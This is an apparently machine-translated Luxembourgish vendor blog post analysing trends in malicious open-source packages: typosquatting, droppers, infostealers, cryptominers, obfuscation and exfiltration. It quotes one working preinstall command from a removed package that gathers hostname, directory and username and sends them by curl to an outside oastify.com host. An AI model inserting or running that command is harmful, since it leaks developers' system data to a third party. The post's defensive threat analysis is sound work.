Béiswëlleg Paketen 5

Anatomie vu béiswëllege Paketen: Wat sinn d'Trends?

An der viregter Episod, Open Source Béiswëlleg Paketen: De Problem, mir hunn diskutéiert, firwat d'Bedrohungsakteuren sou begeeschtert fir nei béiswëlleg Komponenten ze publizéieren oder Malware an déi lescht Versioune vun existente Komponenten ze sprëtzen: D'Open-Source-Infrastruktur erlaabt et jidderengem iwwerall, en ephemere Kont ze kreéieren. an engem Komponentenregister (wéi NPM, PyPI, Docker Hub oder Visual Studio Marketplace) oder enger kollaborativer Entwécklungsplattform (wéi GitHub). Null Käschten, a vill Méiglechkeeten fir dat iwwerschësseg Vertrauen ze notzen, dat Softwareteams traditionell a Komponenten vun Drëttubidder hunn. 

D'Asymmetrie tëscht wéi einfach et fir Ugräifer ass, Malware mat der Infrastruktur ze verdeelen, déi fir Open Source verfügbar ass, a wéi schwéier et fir Organisatiounen ass, déi Software entwéckelen (jiddereen?), fir ze vermeiden, datt se mat Malware infizéiert ginn (a Malware an der Software ze liwweren, déi se fir anerer verdeelen), huet dozou gefouert, datt d'Véierelsmilliounsmark vu béiswëllege Paketen am leschte Joer bal erreecht gouf. 

Dëst ass e Problem vun esou engem Ausmooss, datt keng eenzeg Organisatioun et léise kann, an d'Gemeinschaft ass amgaang den Open-Source-Prozess a Bezuch op Vertrauen, Secure-by-Default a Secure-by-Design-Prinzipien, an de Liewenszyklus vu Komponenten nei ze gestalten. Mir wäerten eis an der nächster Episod op sou Iddien agoen. Schutz géint béiswëlleg Open-Source-Pakete: Wat funktionéiert (net)?.

Denkt drun, datt mir iwwer Softwarekomponenten schwätzen, déi meeschtens mat ... korrespondéieren Software Packages: wiederverwendbar Komponenten, déi sou gepackt sinn, datt se als Ofhängegkeet an engem Softwaremanifest referenzéiert kënne ginn, an mat engem Package Manager oder engem Build Tool installéiert ginn. W.e.g. notéiert datt dëse Fall erweidert ka ginn, fir ëffentlech ze enthalen. Containerbiller (benotzt vu Container-Runtimes an Orchestratiounsplattforme wéi Kubernetes), an Erweiderunge fir Software-Tools (fir de Bau, d'Automatiséierung an den Asaz). 

Hei analyséiere mir, wéi dëst Attacktaktik baséiert op béiswëllege Komponenten funktionéiert, no fréiere Beispiller a wat mir op eiser Plattform fir Malware Early Warning gesinn hunn (MEW). Mir wäerten béiswëlleg Komponenten a verschiddenen Dimensiounen analyséieren: 

(1) d'Aart a Weis, déi fir d'Verdeelung gewielt gouf (de Registrierungscode, deen an enger neier oder existéierender Komponent benotzt gëtt, an d'Technik, déi fir d'Infektioun vun der publizéierter Komponentversioun benotzt gëtt), (2) wéi d'Malware aktivéiert oder ausgeléist gëtt, (3) dat béiswëllegt Verhalen, d.h. wéi eng schiedlech Handlungen observéiert ginn a wat d'Motivatioun vum Ugräifer ass, (4) wéi eng Technike fir d'Verschleierung, d'Verstoppen fir onnotéiert ze bleiwen, d'lateral Beweegung, d'Kommunikatioun mat Kommando- a Kontrollhosts (C2) usw. üblech sinn; an (5) d'Techniken fir genuch Popularitéit a Vertrauen ze gewannen, sou datt d'Affer d'Komponent installéieren.

De gewielte Verdeelungsmechanismus

Mir observéieren eng "Hannergrondrauschen„vun onopfällegen, béiswëllege Paketen, déi Typosquatting benotzen, fir onvirsiichteg Entwéckler mat engem Tippfeeler am Paknumm fir hir Ofhängegkeet ze phishen. Vill populär Paketen kréien eng Barrage vu Paketen mat ähnlechen Nimm a Tippfeeler, mat der Erwaardung, datt se e puer onvirsiichteg Entwéckler phishen. 

Si benotzen en ephemeralen Kont, publizéieren eng Grupp vun Typosquat-Paketen, kreéieren eng aner, a publizéieren eng aner Grupp… Mat e bëssen Automatiséierung an Erfindungsräichtem kënne si e bëssen Raffinesse kréien, awer typescherweis si se zimmlech trivial. Intern nennen mir se "Sardellen„D'Klau vun Umeldungsinformatiounen ass d'Haaptzil, awer heiansdo fanne mir Spyware, déi Quellcode oder sensibel Donnéeën wéi perséinlech identifizéierbar Informatiounen (PII), Zwëschespeicherkapselung an aner Bedenken klauen.“

Aus dem Näischt gesi mer méi sophistikéiert béiswëlleg Komponenten, d'"Haien". Eng Minoritéit ass op spezifesch Gruppen oder Organisatiounen ausgeriicht, typescherweis mat Krypto-Drainer oder Web-Skimmer, déi bedingt aktivéiert ginn, vläicht no dem Usaz, deen an der ... ze gesi war. Evenement-Stream-Incident d'Attack-Notzlaascht nëmmen ze entschlësselen, wann de Pak vun engem Zilpak referenzéiert gëtt. 

De Verdeelungsmechanismus gouf an der exzellenter an elo klassescher Publikatioun analyséiert, "Backstabber's Knife Collection: E Bléck op Attacken op Open Source Software Supply Chain„, wat onbedéngt gelies muss ginn. Dir hutt dës flott Grafik sécher schonn emol gesinn: 

béiswëlleg Paketen

All Méiglechkeeten goufen exploréiert, dorënner nei a bestehend Paketen; d'Beaflossung vum Quellcode, dem Build-System oder der verpackter Komponent selwer; d'Benotzung vu geklaute Login-Aschreiwungen oder Social Engineering; d'Entféierung vu verloossene Konten a Repositories oder d'Vergëftung vun erhale Konten a Repositories. E puer Attacke kruten Nimm (Schreifweis, Ofhängegkeetsverwirrung, Manifest Verwirrung, Repo-Jacking... etc.) a goufen schonn soss anzwousch diskutéiert. 

A wat ass mat de gewielte Registeren?

NPM féiert weiderhin d'Gesamtzuel vu béiswëllege Paketen un, awer mir hunn dëst Joer eng Erhéijung op PyPI gesinn. Python ass e populärt Ökosystem fir Datenwëssenschaft a Maschinnléieren. Tatsächlech ass d'Malware-Dicht elo méi héich a PyPI wéi an NPM. 

Wéi d'Malware ausgeléist gëtt

Béiswëlleg Pakete ginn nëmmen a 4 vun 10 Fäll während der Installatioun ausgeléist (an de leschte Joren waren et bal 6 vun 10). Déi aner féieren e béiswëllegt Verhalen zur Lafzäit aus, mat 1 vun 100, déi beim Ausféiere vun Tester ausgeléist ginn. D'Géigner schéngen ze wëssen, datt déi onkontrolléiert Ausféierung vun Installatiounsskripten op ville Plazen deaktivéiert gouf.

Wat kréien déi Béiser?

Mir wäerten d'Kategorien vun de béiswëllege Verhalen opzielen, mat de populäersten als éischt. W.e.g. notéiert datt d'Auswierkunge ganz ënnerschiddlech kënne sinn: a Wëscher ass haartnäckege destruktiv, awer et ass net heefeg a gouf nëmmen a wéinege Fäll gesinn, am Zesummenhang mat gezielte Cyberkrichskampagnen oder brutalen Hacktivismus. Déi folgend Kategorien si zimmlech heefeg:

  • InfoStealer / Umeldungsinformatiounen DrainerDéi wäit heefegst, iwwer 90% vun den onkomplizéierten Attacken, sinn einfach Déif, déi haaptsächlech no Umeldungsinformatioune wéi Passwierder, Zougangstoken, API-Schlësselen a privat Schlësselen (fir SSH an ähnleches) sichen. Et ass wahrscheinlech am einfachsten ze schreiwen (zesumme mat Wipers?). Si zielen bekannt Dateien/Verzeichnisser an aner Quellen (z.B. Registrierungsschlësselen) op, packen den Inhalt a schécken dës Donnéeën un en C2-Server. D'Iddi ass einfach: "Ech publizéieren e Stealer fir Phishing-Umeldungsinformatiounen, fir datt ech d'Umeldungsinformatioune spéider fir eng geriicht Attack benotze kann". 

Déi observéiert C2-Netzwierker sinn typescherweis bëlleg an dreckeg, wéi Telegram-Kanäl oder ngrok-ähnlech Tunnelbuerinstrumenter (dacks a Form vu Reverse-Proxies, déi iwwer VPN-Egress-IPs ausgesat sinn). Et gëtt Honnerte (!) vu Méiglechkeeten, mat ville GitHub-Projeten ënner dem Thema iwwer PasswuertklauferSpezialiséierunge wéi Keylogger si rar fir béiswëlleg Paketen an Container-Images, awer méi heefeg an Tool-Extensiounen, wou Benotzerinteraktioun erwaart gëtt.

  • Dropper / Downloader. Déi zweetgréisst Popularitéit, typescherweis als éischt bei Attacken a verschiddene Stufen. Méi wéi eng vun dräi béiswëllege Komponenten hunn Dropper (wann déi béiswëlleg Payload am Pak abegraff ass) oder Downloader (d'Payload gëtt vun engem Endpunkt erofgelueden, deen ënner der Kontroll vum Ugräifer steet). D'Payload ass dacks eng bekannt binär Malware-Variant, an se gëtt ausgeführt a heiansdo persistent gespäichert, fir Backdoors, Spyware, Krypto-Drainer an aner Benotzungsfäll z'installéieren. Déi erofgeluede oder deployéiert Payload start eng Attack an der zweeter Phas mat all der Kraaft, déi vun existente Malware-Binärdateien geliwwert gëtt. D'Binärdateien kënnen am Pak verdeelt ginn, dacks als Biller oder vermeintlech onschëlleg Dateitypen maskéiert, fir Detektioun ze vermeiden, wann Dir Iech mat onerwaarte Säiten verbënnt. 
  • Kryptowährungsdieb / MinerFinanziell motivéiert Géigner si bereet, Är Cloud-Verméigen fir Kryptominer ze benotzen (si erkennen souguer, ob se an enger Cloud-VM lafen). Si këmmeren sech net ëm dat... niddrege Gewënnquote vun 1 Dollar fir all 53 Dollar, déi dem Affer fir déi geklaut Cloud-Infrastruktur berechent ginn. D'Affer si sech dat vläicht net bewosst, bis se eng onerwaart Rechnung kréien. Glécklecherweis kënnt dat a geet. Cryptojacking Kampagnen a béiswëllege Paketen tauchen heiansdo op a verschwannen dann, phishen op Portemonnaie-Benotzer oder zielen schlussendlech op de Portemonnaie-Ubidder, wéi an der Ledger-Ugrëff.   

Aner Verhalensweisen, wéi z.B. d'Ausbreedung vun engem Hannerdier fir d'Ausféierung vu Code op Distanz duerch d'Ouverture vun enger Reverse Shell ass elo manner heefeg wéi fréier. Zum Beispill, den 123rf_contributor_web Pak (elo aus der Registrierung geläscht) mécht sech ouni Verschleierung op, eng ëmgekéiert Shell, déi vum Reverse Shell Cheat Sheet:

béiswëlleg Paketen 2
Béiswëlleg Pakettypen goufen an der Woch vum 24. bis den 30. Juni 2024 observéiert.

Nieft legitimen a béiswëllege Komponenten hu mir verschidde Mëssbrauch observéiert, dorënner:

Spam-Paketen

Et ginn Dausende vu klenge Paketen, meeschtens an NPM, ouni Malware, awer mat verspriechenden einfache Gewënn, Schlaangenueleg, Linken op Viagra-Offeren an all deem. E puer Benotzer publizéieren esou Spam a huelen vill Bandbreet aus dem Registry. En aneren Akteur(en), méiglecherweis aus Indonesien, huet probéiert, dovun ze profitéieren, andeems den TéiRank mëssbrauchen geduecht fir Open-Source-Entwéckler ze kompenséieren, andeems Zéngdausende vun ënnerenee verbonnenen NPM-Pakete mat verwandte GitHub-Dummy-Repositories erstallt ginn. Dëst ass eng kloer Verletzung vun de Benotzungsbedingungen.

Bug Bounty a Sécherheetsfuerschungs-Hoaxen

 Wann e Pak sech selwer als Datenexfiltratioun fir gutt Zwecker beschreift, wéi z.B. Sécherheetslücken fir Bug Bounty Programmer z'entdecken oder bestëmmten Aspekter vum Ökosystem ze recherchéieren. Mir hunn Dausende vu Paketen an dëser Kategorie gesinn, déi Identifikatiounsdaten, awer net ze sensibel Daten un eng Burp Collaborator Adress vu PortSwigger ofruffen (z.B. Host am oastify.com Domain). Mir hunn dacks Imitatioune vun der ... observéiert. Ofhängegkeetsverwirrung Beweis vum Konzept vum Alex Birsan, wéi den aurora-webmail-pro package (aus der Registrierung geläscht), déi einfach dëse béise Code am Preinstallatiounsskript ausféieren:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

An huet och eng "Dëst ass e Beweis vum Konzept vun enger einfacher Ofhängegkeets-Verwirrungsattack„Beschreiwung vum Haftungsausschloss an der Package.jsonDëst ass eng kloer Verletzung vun de Benotzungsbedingunge, och ouni béiswëlleg Absicht. 

E puer gutt Neiegkeeten? Mir hunn (nach) keng Ransomware-Attacken iwwer béiswëlleg Komponenten gesinn. Aus onbekannte Grënn schéngen Cyberkrimineller méi traditionell E-Mail-Phishing-, RDP-baséiert an Drive-by-Download-Liwwermechanismen ze léiwer hunn. 

Zousätzlech Techniken observéiert 

béiswëlleg Paketen 3

Vill Technike goufe fir Persistenz, Verteidegungsontwécklung, Informatiounssammlung, Kommunikatioun mat Kommando- a Kontrollgruppen an Exfiltratioun benotzt. 

Persistenz a béiswëllege Komponenten gëtt mat de Persistenzfeatures an enger binärer Malware vum zweete Stadium gewonnen, awer heiansdo ass d'Verhalen am Pakcode lokaliséiert, mat geplangten Aufgaben an Ännerungen an der Windows Registrierung am heefegsten. 

Obfuscatioun ass üblech, awer net sophistikéiert. Déi meescht Typosquatting-Paketen (denkt un d'"Sardellen„?) benotzen guer keng Obfuskatioun; vill benotzen entweder trivial (base64/Hex-Codéierung oder Substitutiounschifferen wéi rot13) oder benotzen verfügbar Code-Obfuskatoren a Minifikatioun, déi mat de richtegen Tools einfach ëmgedréit ka ginn. Nëmmen d'„Haien“ maachen richteg, haartgräifend Obfuskatioun, déi schwéier ze reverse-engineeren ass.

Verdeckung kéint den Ugrëff verstoppen, awer firwat misst de Code an enger Open-Source-Komponent verdeckt ginn? Gëtt et Beweiser datt eppes virun der Siicht verstoppt muss ginn? Mir hunn vill Fäll vu net-béiswëllege Paketen fonnt, déi Verdeckung benotzen fir intellektuellt Eegentum ze schützen, wat am Widdersproch zu "Open Source" steet. Verdeckung kann als Beweis fir Malware benotzt ginn, awer si ass net schlussendlech. Et ass och schwéier ze de-Verdeckung. 

Evasion vun de Verteidegungskontrollen adoptéiert einfach Techniken. Béiswëllege Code gëtt dacks geschützt an probéieren … fänken Blocken, déi all Ausnamen ignoréieren, sou datt anormal Aktivitéit net an de Logbicher ugewise gëtt. D'Verifizéierung vun der Ëmwelt (déi an enger VM oder engem Container leeft) ass rar, ausser et geet ëm Malware, déi op eng spezifesch Organisatioun oder Ëmwelt abzielt.

D'Masquerading vu binäre Dateien a Biller a PDF-Dateien (eng Zort Steganographie) war eng aner Technik, déi benotzt gouf, fir d'Detektioun ze vermeiden.

Well déi heefegst béiswëlleg Komponenten Infostealer sinn, Daten Sammlung ass essentiell. Geheimnisser (Passwierder, Zougangstoken, API-Schlësselen, kryptographesch Schlësselen) ginn routineméisseg a Logdateien, Ëmweltvariablen a souguer am Zwëschespeicher gescannt (wéi et bei Bank-Trojaner a Krypto-Déif gëtt). Quellcode-Exfiltratioun ass och heefeg, well d'Packageinstallatioun dacks an engem Entwécklungsknuet gemaach gëtt, wou intern Git-Repositories geklont kënne ginn. Mir hunn Päck gesinn, déi Verzeichnisser op der Sich no Git-Repositories opgezielt hunn. No Plazen ewéi .env, private.pem, settings.py, app.js oder application.properties ze sichen ass zimmlech heefeg.

Exfiltratioun ass eng aner wäit verbreet Aktioun. Nëmmen eng Minoritéit vu béiswëllege Paketen probéiert iwwerhaapt d'Destinatioun vun den extrahéierten Donnéeën ze verstoppen. Telegram Kanäl an ngrok-ähnlech Tunnellen ginn dacks benotzt. An et gëtt der vill typesch wäisslëschteg Domainen, déi fir Exfiltratioun benotzt ginn

Aner Techniken, wéi Privilegieseskalatioun oder lateral Beweegung, ware manner heefeg. 

Popularitéit a Vertrauen gewannen

Stellt Iech en Tech-Béisen mat engem fäerdege Killer-Béiswëllegen-Ding vir, deen sech freet: "Wéi maachen ech dëst Stéck Dreck fir déi onerwaart Idioten zouverlässeg?". 

Dat iwwersetzt sech an, wéi een den Entrée fir déi béiswëlleg Komponent sou maache kann, datt vill Stären / Forken (fir Popularitéit) ugewise ginn, plus Versiounen / Problemer an pull requests (fir Aktivitéit). D'Iddi ass et, fiktiv Popularitéit (Stären) an Ofhängeger ze kréien, an e iwwerzeegende Bléck wat Relevanz an Ënnerhalt ugeet. 

D'Registrierung kontrolléiert net, ob den Inhalt vun engem GitHub-Projet an den Inhalt vum Pak iwwereneestëmmen.Dëst ass e bekannte Problem an der Software-Versuergungskette. Déi ëffentlech Registere si rieseg Lächer, déi alles verschlécken, wat hinne geheit gëtt. Dir kënnt all Repository verlinken. 

béiswëlleg Paketen 4
Verdeelung vu Beweiser a potenzieller Malware an der Woch vum 24.-30. Juni 2024.

Wann de béiswëllege Pak e Tippfehler an e populäre Pak mécht, ass dat ganz einfach: einfach dat existent GitHub-Repository am Ofhängegkeetsmanifest verweisen, dat fir d'Erstelle vum Pak an d'Verëffentlechung an der Registry benotzt gëtt. Fir nei Paketen op engem gefälschten GitHub-Repo braucht Dir vläicht méi Erfindungsräichtum, vläicht fir gefälschte Paketen ze kreéieren. Stärekucken/Stäreverdeelung GitHub Konten iwwer Skripting.

An wann den Inhalt vun Ärem Pak zimmlech ähnlech wéi de Repository ass, da kënnt Dir hei an do e puer gutt entworf Ännerungen maachen... Dir kënnt Är Malware an en neit Pak aféieren, dat engem populäre Pak gläicht, andeems Dir op de Repository vum bestehenden verweist, a waart op d'Tippfeeler. Wann iergendeen sech traut, den Inhalt vum Tarball vum Pak mam Inhalt vum GitHub-Repository ze vergläichen, kéinten d'Ënnerscheeder op de Malware-Injektiounspunkten einfach iwwersinn ginn. Mir hunn dës Approche schonn e puermol gesinn. 

E Mechanismus fir eng Komponent fir eng manipulatiounssécher Ausso iwwer d'Provenienz, wéi d'Verpakung zesummegestallt gouf, aus wéi enge Quellen a vu wiem ze maachen, wier wëllkomm. Mee dat ass eng aner Geschicht. 

Ass Komponent X Malware?

Gëtt et eng (ëmfaassend) Datebank vu béiswëllege Paketen? Nee. Open-Source-Schwachstellen hunn eng CVE-ID zougewisen, awer nëmmen e puer béiswëlleg Paketen (besonnesch déi, déi Schlagzeilen maachen) kréien eng. De CWE fir béiswëlleg Paketen ass CWE-506 (agebetteten béiswëllege Code). 

Déi üblech Malware-Tools (VirusTotal, MalwareBazaar, SOREL-20M…) maachen keng spezifesch Viraussetzunge fir béiswëlleg Komponenten. Dat wier wëllkomm!

Et gëtt Fuerschungsbeispilldatenbanken an Datensätz fir d'Analyse (mir benotzen e puer dovun), awer d'Entréeën ginn nëmmen aktualiséiert wann de béiswëllege Pak bekannt ass, wat dacks ze spéit ass. Wann Dir interesséiert sidd, den OpenSSF Béiswëlleg Paketen ass e schéinen Ufank.

Am nächste Beitrag wäerte mir diskutéieren, wéi mir wëssen, ob e bestëmmte Pak béiswëlleg ass. Spoiler: jo, et gëtt Méiglechkeeten, fir fréi während der Expositiounsfenster op béiswëlleg Komponenten ze kontrolléieren, ier d'Registrierung eng bekannt béiswëlleg Komponent läscht.

Weiderliesen

An der nächster Episod "Schutz géint béiswëlleg Open-Source-Pakete: Wat funktionéiert (net)?" Mir wäerten d'Do's an Don'ts fir Open-Source-Sécherheet diskutéieren. Déi meescht Sécherheetsbewosst Fachleit hunn eng Iddi, wéi se mat dëser Bedroung ëmgoe sollen, awer et gëtt vill Mëssverständnisser. 

Mir wäerten iwwerpréiwen, firwat dës Iddien falsch sinn, a wéi sou Mëssverständnisser zur Popularitéit vun dësem Attackmechanismus bäidroen, an zum iwwerwältegende Risiko, dat Organisatiounen erliewen. Mir wäerten dann doriwwer schwätzen, wat funktionéiert, a wat den Effort an d'Ressourcen sinn, déi dofir gebraucht ginn. 

Mir wäerten och iwwer d'Evolutioun vu béiswëllege Paketen a punkto Absicht, Injektiounsmechanismus an Attacktechniken schreiwen.

Bleift drun!

Referenze

Open Source Béiswëlleg Paketen: De Problem

Schutz géint OSS-béiswëlleg Paketen: Wat funktionéiert (net)

sca-tools-software-zesummesetzungsanalyse-tools
Prioritäriséiert, behënnert a séchert Är Softwarerisiken
Kritt Äre gratis Kont.
Kee Kreditkaart erfuerderlech.

Séchert Är Softwareentwécklung a Liwwerung

mat der Xygeni Produkt Suite